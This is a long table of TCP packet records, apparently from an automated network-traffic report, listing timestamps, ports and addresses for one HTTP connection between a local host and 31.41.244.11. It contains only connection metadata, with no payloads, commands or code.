Dec 18, 2024 21:30:46.700373888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.700386047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.700395107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.700396061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.700416088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.700438976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.701776981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.701787949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.701797962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.701809883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.701826096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.701858997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.702409029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.702420950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.702447891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.702467918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.703074932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.703087091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.703095913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.703114986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.703149080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.704386950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.704415083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.704452038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.704504013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.704515934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.704559088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.705125093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.705136061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.705166101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.705195904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.705874920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.705888033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.705898046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.705919981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.705945015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.706517935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.706532955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.706557035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.706568956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.707237005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.707250118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.707283974 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.708564997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.708576918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.708586931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.708601952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.708606005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.708626032 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.708640099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.709256887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.709269047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.709294081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.709323883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.710026026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.710036993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.710047007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.710064888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.710095882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.711349964 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.711360931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.711390972 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.711436987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.711447954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.711486101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.712354898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.712366104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.712404966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.712819099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.712830067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.712838888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.712857008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.712877989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.713664055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.713680983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.713706017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.713751078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.715092897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.715111017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.715121984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.715136051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.715137005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.715157032 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.715187073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.715862036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.715873003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.715881109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.715903997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.715922117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.875416040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.875472069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.875580072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.875591993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.875621080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.875638962 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.876286030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.876487017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.876499891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.876530886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.876565933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.877381086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.877393007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.877439976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.877746105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.877758026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.877793074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.878475904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.878488064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.878720999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.878990889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.879003048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.879030943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.879045010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.879646063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.879657984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.879693985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.880247116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.880258083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.880301952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.880919933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.880959034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.881006002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.881726027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.881737947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.881778002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.882312059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.882325888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.882365942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.882967949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.882981062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.883008003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.883025885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.883735895 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.883749008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.883759975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.883791924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.883825064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.884316921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.884335995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.884361982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.884373903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.885080099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.885096073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.885143995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.886070013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.886082888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.886113882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.886126995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.886392117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.886404037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.886440039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.887126923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.887140036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.887150049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.887175083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.887187004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.887882948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.887896061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.887938023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.888427019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.888444901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.888489008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.889128923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.889141083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.889204025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.889204025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.889808893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.889827967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.889839888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.889863014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.889898062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.890491009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.890502930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.890544891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.891185045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.891199112 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.891228914 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.891248941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.891882896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.891896009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.891932011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.891942978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.892565966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.892579079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.892618895 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.893253088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.893265963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.893276930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.893311977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.893331051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.893939018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.893955946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.893990040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.894005060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.894612074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.894624949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.894661903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.895320892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.895332098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.895378113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.896043062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.896054983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.896064997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.896099091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.896110058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.896694899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.896709919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.896770000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.897398949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.897411108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.897447109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.897464037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.898093939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.898148060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.898148060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.898183107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.898746967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.898767948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.898808002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.898819923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.899441004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.899452925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.899462938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.899486065 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.899523020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.900629997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.900645018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.900686026 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.900748968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.900796890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.900821924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.900850058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.901468992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.901489019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.901566982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.901566982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.902162075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.902200937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.902205944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.902213097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.902247906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.902844906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.902863979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.902920008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.903634071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.903654099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.903690100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.903721094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.904241085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.904252052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.904289007 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.904923916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.904942989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.904985905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.905647993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.905659914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.905668974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.905704975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.905718088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.906289101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.906307936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.906342030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.906368971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.906990051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.907007933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.907061100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.907664061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.907676935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.907685041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.907720089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.907728910 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.067948103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.068016052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.068108082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.068125010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.068170071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.068645000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.068749905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.069025993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.069041014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.069068909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.069088936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.069524050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.069574118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.069761992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.069777012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.069797993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.069817066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.070370913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.070386887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.070417881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.070430994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.070893049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.070908070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.070935965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.070950985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.071501970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.071518898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.071542978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.071563005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.072020054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.072056055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.072060108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.072093010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.072786093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.072803020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.072849989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.073379040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.073396921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.073440075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.074084044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.074100971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.074140072 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.074726105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.074743986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.074762106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.074770927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.074790955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.074799061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.075440884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.075458050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.075485945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.075504065 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.076106071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.076122999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.076174021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.076803923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.076821089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.076869965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.077498913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.077517986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.077584028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.077584028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.078263044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.078279018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.078294039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.078319073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.078351021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.078908920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.078926086 CET	80	49819	31.41.244.11	192.168.2.5
